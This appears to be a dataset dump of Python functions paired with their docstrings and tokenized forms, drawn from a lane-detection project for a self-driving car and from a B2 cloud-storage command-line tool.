"left_line",
",",
"right_line",
")",
":",
"out_img",
"=",
"np",
".",
"dstack",
"(",
"(",
"b_img",
",",
"b_img",
",",
"b_img",
")",
")",
"*",
"255",
"nonzero",
"=",
"b_img",
".",
"nonzero",
"(",
")",
"... | This function is similar to `line_seach_reset` function, however, this function utilizes
the history of previously detcted lines, which is being tracked in an object of Line class. | [
"This",
"function",
"is",
"similar",
"to",
"`",
"line_seach_reset",
"`",
"function",
"however",
"this",
"function",
"utilizes",
"the",
"history",
"of",
"previously",
"detcted",
"lines",
"which",
"is",
"being",
"tracked",
"in",
"an",
"object",
"of",
"Line",
"cl... | [
"\"\"\"\n #---------------------\n # This function is similar to `line_seach_reset` function, however, this function utilizes\n # the history of previously detcted lines, which is being tracked in an object of Line class.\n #\n # Once we know where the lines are, in previous frames, we don't need to ... | [
{
"param": "b_img",
"type": null
},
{
"param": "left_line",
"type": null
},
{
"param": "right_line",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "b_img",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "left_line",
"type": null,
"docstring": null,
"docstring_toke... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | illustrate_driving_lane | <not_specific> | def illustrate_driving_lane(
img, left_line, right_line, lane_color=(255, 0, 255), road_color=(0, 255, 0)
):
"""
#---------------------
# This function draws lane lines and drivable area on the road
#
"""
# Create an empty image to draw on
window_img = np.zeros_like(img)
window_mar... |
#---------------------
# This function draws lane lines and drivable area on the road
#
| This function draws lane lines and drivable area on the road | [
"This",
"function",
"draws",
"lane",
"lines",
"and",
"drivable",
"area",
"on",
"the",
"road"
] | def illustrate_driving_lane(
img, left_line, right_line, lane_color=(255, 0, 255), road_color=(0, 255, 0)
):
window_img = np.zeros_like(img)
window_margin = left_line.window_margin
left_plotx, right_plotx = left_line.allx, right_line.allx
ploty = left_line.ally
left_line_window1 = np.array(
... | [
"def",
"illustrate_driving_lane",
"(",
"img",
",",
"left_line",
",",
"right_line",
",",
"lane_color",
"=",
"(",
"255",
",",
"0",
",",
"255",
")",
",",
"road_color",
"=",
"(",
"0",
",",
"255",
",",
"0",
")",
")",
":",
"window_img",
"=",
"np",
".",
"... | This function draws lane lines and drivable area on the road | [
"This",
"function",
"draws",
"lane",
"lines",
"and",
"drivable",
"area",
"on",
"the",
"road"
] | [
"\"\"\"\n #---------------------\n # This function draws lane lines and drivable area on the road\n #\n \"\"\"",
"# Create an empty image to draw on",
"# Generate a polygon to illustrate the search window area",
"# And recast the x and y points into usable format for cv2.fillPoly()",
"# Draw the... | [
{
"param": "img",
"type": null
},
{
"param": "left_line",
"type": null
},
{
"param": "right_line",
"type": null
},
{
"param": "lane_color",
"type": null
},
{
"param": "road_color",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "img",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "left_line",
"type": null,
"docstring": null,
"docstring_tokens... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | illustrate_info_panel | <not_specific> | def illustrate_info_panel(img, left_line, right_line):
"""
#---------------------
# This function illustrates details below in a panel on top left corner.
# - Lane is curving Left/Right
# - Radius of Curvature:
# - Deviating Left/Right by _% from center.
#
"""
road_info, curvature, ... |
#---------------------
# This function illustrates details below in a panel on top left corner.
# - Lane is curving Left/Right
# - Radius of Curvature:
# - Deviating Left/Right by _% from center.
#
| This function illustrates details below in a panel on top left corner.
- Lane is curving Left/Right
- Radius of Curvature:
- Deviating Left/Right by _% from center. | [
"This",
"function",
"illustrates",
"details",
"below",
"in",
"a",
"panel",
"on",
"top",
"left",
"corner",
".",
"-",
"Lane",
"is",
"curving",
"Left",
"/",
"Right",
"-",
"Radius",
"of",
"Curvature",
":",
"-",
"Deviating",
"Left",
"/",
"Right",
"by",
"_%",
... | def illustrate_info_panel(img, left_line, right_line):
road_info, curvature, deviation = get_measurements(left_line, right_line)
cv2.putText(
img, "Measurements ", (75, 30), cv2.FONT_HERSHEY_COMPLEX, 0.8, (80, 80, 80), 2
)
lane_info = "Lane is " + road_info
if curvature == -1:
lane_c... | [
"def",
"illustrate_info_panel",
"(",
"img",
",",
"left_line",
",",
"right_line",
")",
":",
"road_info",
",",
"curvature",
",",
"deviation",
"=",
"get_measurements",
"(",
"left_line",
",",
"right_line",
")",
"cv2",
".",
"putText",
"(",
"img",
",",
"\"Measuremen... | This function illustrates details below in a panel on top left corner. | [
"This",
"function",
"illustrates",
"details",
"below",
"in",
"a",
"panel",
"on",
"top",
"left",
"corner",
"."
] | [
"\"\"\"\n #---------------------\n # This function illustrates details below in a panel on top left corner.\n # - Lane is curving Left/Right\n # - Radius of Curvature:\n # - Deviating Left/Right by _% from center.\n #\n \"\"\"",
"# deviate = 'Deviating ' + deviation # deviating how much from... | [
{
"param": "img",
"type": null
},
{
"param": "left_line",
"type": null
},
{
"param": "right_line",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "img",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "left_line",
"type": null,
"docstring": null,
"docstring_tokens... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | illustrate_driving_lane_with_topdownview | <not_specific> | def illustrate_driving_lane_with_topdownview(image, left_line, right_line):
"""
#---------------------
# This function illustrates top down view of the car on the road.
#
"""
img = cv2.imread("lane/ferrari.png", -1)
img = cv2.resize(img, (120, 246))
rows, cols = image.shape[:2]
win... |
#---------------------
# This function illustrates top down view of the car on the road.
#
| This function illustrates top down view of the car on the road. | [
"This",
"function",
"illustrates",
"top",
"down",
"view",
"of",
"the",
"car",
"on",
"the",
"road",
"."
] | def illustrate_driving_lane_with_topdownview(image, left_line, right_line):
img = cv2.imread("lane/ferrari.png", -1)
img = cv2.resize(img, (120, 246))
rows, cols = image.shape[:2]
window_img = np.zeros_like(image)
window_margin = left_line.window_margin
left_plotx, right_plotx = left_line.allx, ... | [
"def",
"illustrate_driving_lane_with_topdownview",
"(",
"image",
",",
"left_line",
",",
"right_line",
")",
":",
"img",
"=",
"cv2",
".",
"imread",
"(",
"\"lane/ferrari.png\"",
",",
"-",
"1",
")",
"img",
"=",
"cv2",
".",
"resize",
"(",
"img",
",",
"(",
"120"... | This function illustrates top down view of the car on the road. | [
"This",
"function",
"illustrates",
"top",
"down",
"view",
"of",
"the",
"car",
"on",
"the",
"road",
"."
] | [
"\"\"\"\n #---------------------\n # This function illustrates top down view of the car on the road.\n #\n \"\"\"",
"# Generate a polygon to illustrate the search window area",
"# And recast the x and y points into usable format for cv2.fillPoly()",
"# Draw the lane onto the warped blank image",
... | [
{
"param": "image",
"type": null
},
{
"param": "left_line",
"type": null
},
{
"param": "right_line",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "image",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "left_line",
"type": null,
"docstring": null,
"docstring_toke... |
d59dbfe8b1fbb4ce1bab27bf52cfb304313a9107 | CornellDataScience/self-driving-car | lane/threshold.py | [
"MIT"
] | Python | abs_sobel_thresh | <not_specific> | def abs_sobel_thresh(img, orient='x', thresh=(20, 100)):
"""
#---------------------
# This function applies Sobel x or y, and then
# takes an absolute value and applies a threshold.
#
"""
# Take the derivative in x or y given orient = 'x' or 'y'
if orient == 'x':
abs_sobel = np... |
#---------------------
# This function applies Sobel x or y, and then
# takes an absolute value and applies a threshold.
#
| This function applies Sobel x or y, and then
takes an absolute value and applies a threshold. | [
"This",
"function",
"applies",
"Sobel",
"x",
"or",
"y",
"and",
"then",
"takes",
"an",
"absolute",
"value",
"and",
"applies",
"a",
"threshold",
"."
] | def abs_sobel_thresh(img, orient='x', thresh=(20, 100)):
if orient == 'x':
abs_sobel = np.absolute(cv2.Sobel(img, cv2.CV_64F, 1, 0))
if orient == 'y':
abs_sobel = np.absolute(cv2.Sobel(img, cv2.CV_64F, 0, 1))
scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))
binary_output = np.zer... | [
"def",
"abs_sobel_thresh",
"(",
"img",
",",
"orient",
"=",
"'x'",
",",
"thresh",
"=",
"(",
"20",
",",
"100",
")",
")",
":",
"if",
"orient",
"==",
"'x'",
":",
"abs_sobel",
"=",
"np",
".",
"absolute",
"(",
"cv2",
".",
"Sobel",
"(",
"img",
",",
"cv2... | This function applies Sobel x or y, and then
takes an absolute value and applies a threshold. | [
"This",
"function",
"applies",
"Sobel",
"x",
"or",
"y",
"and",
"then",
"takes",
"an",
"absolute",
"value",
"and",
"applies",
"a",
"threshold",
"."
] | [
"\"\"\"\n #--------------------- \n # This function applies Sobel x or y, and then \n # takes an absolute value and applies a threshold.\n #\n \"\"\"",
"# Take the derivative in x or y given orient = 'x' or 'y'",
"# Scale to 8-bit (0 - 255) then convert to type = np.uint8 ",
"# Create a bina... | [
{
"param": "img",
"type": null
},
{
"param": "orient",
"type": null
},
{
"param": "thresh",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "img",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "orient",
"type": null,
"docstring": null,
"docstring_tokens": ... |
d59dbfe8b1fbb4ce1bab27bf52cfb304313a9107 | CornellDataScience/self-driving-car | lane/threshold.py | [
"MIT"
] | Python | channel_thresh | <not_specific> | def channel_thresh(channel, thresh=(80, 255)):
"""
#---------------------
# This function takes in a channel of an image and
# returns thresholded binary image
#
"""
binary = np.zeros_like(channel)
binary[(channel > thresh[0]) & (channel <= thresh[1])] = 255
return binary |
#---------------------
# This function takes in a channel of an image and
# returns thresholded binary image
#
| This function takes in a channel of an image and
returns thresholded binary image | [
"This",
"function",
"takes",
"in",
"a",
"channel",
"of",
"an",
"image",
"and",
"returns",
"thresholded",
"binary",
"image"
] | def channel_thresh(channel, thresh=(80, 255)):
binary = np.zeros_like(channel)
binary[(channel > thresh[0]) & (channel <= thresh[1])] = 255
return binary | [
"def",
"channel_thresh",
"(",
"channel",
",",
"thresh",
"=",
"(",
"80",
",",
"255",
")",
")",
":",
"binary",
"=",
"np",
".",
"zeros_like",
"(",
"channel",
")",
"binary",
"[",
"(",
"channel",
">",
"thresh",
"[",
"0",
"]",
")",
"&",
"(",
"channel",
... | This function takes in a channel of an image and
returns thresholded binary image | [
"This",
"function",
"takes",
"in",
"a",
"channel",
"of",
"an",
"image",
"and",
"returns",
"thresholded",
"binary",
"image"
] | [
"\"\"\"\n #---------------------\n # This function takes in a channel of an image and\n # returns thresholded binary image\n # \n \"\"\""
] | [
{
"param": "channel",
"type": null
},
{
"param": "thresh",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "channel",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "thresh",
"type": null,
"docstring": null,
"docstring_token... |
d59dbfe8b1fbb4ce1bab27bf52cfb304313a9107 | CornellDataScience/self-driving-car | lane/threshold.py | [
"MIT"
] | Python | combine_grad_hls | <not_specific> | def combine_grad_hls(grad, hls):
"""
#---------------------
# This function combines gradient and hls images into one.
# For binary gradient image, if pixel is bright, set that pixel value in reulting image to 255
# For binary hls image, if pixel is bright, set that pixel value in resulting image t... |
#---------------------
# This function combines gradient and hls images into one.
# For binary gradient image, if pixel is bright, set that pixel value in reulting image to 255
# For binary hls image, if pixel is bright, set that pixel value in resulting image to 255
# Edit: Assign different valu... | This function combines gradient and hls images into one.
For binary gradient image, if pixel is bright, set that pixel value in reulting image to 255
For binary hls image, if pixel is bright, set that pixel value in resulting image to 255
Edit: Assign different values to distinguish them | [
"This",
"function",
"combines",
"gradient",
"and",
"hls",
"images",
"into",
"one",
".",
"For",
"binary",
"gradient",
"image",
"if",
"pixel",
"is",
"bright",
"set",
"that",
"pixel",
"value",
"in",
"reulting",
"image",
"to",
"255",
"For",
"binary",
"hls",
"i... | def combine_grad_hls(grad, hls):
result = np.zeros_like(hls).astype(np.uint8)
result[(grad > 1)] = 100
result[(hls > 1)] = 255
return result | [
"def",
"combine_grad_hls",
"(",
"grad",
",",
"hls",
")",
":",
"result",
"=",
"np",
".",
"zeros_like",
"(",
"hls",
")",
".",
"astype",
"(",
"np",
".",
"uint8",
")",
"result",
"[",
"(",
"grad",
">",
"1",
")",
"]",
"=",
"100",
"result",
"[",
"(",
... | This function combines gradient and hls images into one. | [
"This",
"function",
"combines",
"gradient",
"and",
"hls",
"images",
"into",
"one",
"."
] | [
"\"\"\" \n #---------------------\n # This function combines gradient and hls images into one.\n # For binary gradient image, if pixel is bright, set that pixel value in reulting image to 255\n # For binary hls image, if pixel is bright, set that pixel value in resulting image to 255 \n # Edit: Assig... | [
{
"param": "grad",
"type": null
},
{
"param": "hls",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "grad",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "hls",
"type": null,
"docstring": null,
"docstring_tokens": []... |
150bc85c786cd0722acff7507b3cf42a16a3ebc5 | CornellDataScience/self-driving-car | embedded/web/flask/read.py | [
"MIT"
] | Python | str_to_val | <not_specific> | def str_to_val(field):
'''
Automatically detects floats, ints and bools
Returns a float, int or bool
'''
if 'nan' in field:
return float("NAN")
elif '.' in field:
return float(field)
elif field == 'true':
return True
elif field == 'false':
return False
... |
Automatically detects floats, ints and bools
Returns a float, int or bool
| Automatically detects floats, ints and bools
Returns a float, int or bool | [
"Automatically",
"detects",
"floats",
"ints",
"and",
"bools",
"Returns",
"a",
"float",
"int",
"or",
"bool"
] | def str_to_val(field):
if 'nan' in field:
return float("NAN")
elif '.' in field:
return float(field)
elif field == 'true':
return True
elif field == 'false':
return False
else:
return int(field) | [
"def",
"str_to_val",
"(",
"field",
")",
":",
"if",
"'nan'",
"in",
"field",
":",
"return",
"float",
"(",
"\"NAN\"",
")",
"elif",
"'.'",
"in",
"field",
":",
"return",
"float",
"(",
"field",
")",
"elif",
"field",
"==",
"'true'",
":",
"return",
"True",
"... | Automatically detects floats, ints and bools
Returns a float, int or bool | [
"Automatically",
"detects",
"floats",
"ints",
"and",
"bools",
"Returns",
"a",
"float",
"int",
"or",
"bool"
] | [
"'''\n Automatically detects floats, ints and bools\n\n Returns a float, int or bool\n '''"
] | [
{
"param": "field",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "field",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
7efddbcc07bd1aa1671b453c9fe9f5417e5a0b68 | sexymeow/B2_Command_Line_Tool | b2/arg_parser.py | [
"MIT"
] | Python | parse_comma_separated_list | <not_specific> | def parse_comma_separated_list(s):
"""
Parse comma-separated list.
"""
return [word.strip() for word in s.split(',')] |
Parse comma-separated list.
| Parse comma-separated list. | [
"Parse",
"comma",
"-",
"separated",
"list",
"."
] | def parse_comma_separated_list(s):
return [word.strip() for word in s.split(',')] | [
"def",
"parse_comma_separated_list",
"(",
"s",
")",
":",
"return",
"[",
"word",
".",
"strip",
"(",
")",
"for",
"word",
"in",
"s",
".",
"split",
"(",
"','",
")",
"]"
] | Parse comma-separated list. | [
"Parse",
"comma",
"-",
"separated",
"list",
"."
] | [
"\"\"\"\n Parse comma-separated list.\n \"\"\""
] | [
{
"param": "s",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "s",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
935ce0f7cf40d86d0d1fc4c3b5cf3bd0583ac5c8 | sexymeow/B2_Command_Line_Tool | test/integration/test_b2_command_line.py | [
"MIT"
] | Python | run_command | <not_specific> | def run_command(self, args):
"""
Runs the command with the given arguments, returns a tuple in form of
(succeeded, stdout)
"""
status, stdout, stderr = run_command(self.command, args)
return status == 0 and stderr == '', stdout |
Runs the command with the given arguments, returns a tuple in form of
(succeeded, stdout)
| Runs the command with the given arguments, returns a tuple in form of
(succeeded, stdout) | [
"Runs",
"the",
"command",
"with",
"the",
"given",
"arguments",
"returns",
"a",
"tuple",
"in",
"form",
"of",
"(",
"succeeded",
"stdout",
")"
] | def run_command(self, args):
status, stdout, stderr = run_command(self.command, args)
return status == 0 and stderr == '', stdout | [
"def",
"run_command",
"(",
"self",
",",
"args",
")",
":",
"status",
",",
"stdout",
",",
"stderr",
"=",
"run_command",
"(",
"self",
".",
"command",
",",
"args",
")",
"return",
"status",
"==",
"0",
"and",
"stderr",
"==",
"''",
",",
"stdout"
] | Runs the command with the given arguments, returns a tuple in form of
(succeeded, stdout) | [
"Runs",
"the",
"command",
"with",
"the",
"given",
"arguments",
"returns",
"a",
"tuple",
"in",
"form",
"of",
"(",
"succeeded",
"stdout",
")"
] | [
"\"\"\"\n Runs the command with the given arguments, returns a tuple in form of\n (succeeded, stdout)\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "args",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "args",
"type": null,
"docstring": null,
"docstring_tokens": [... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.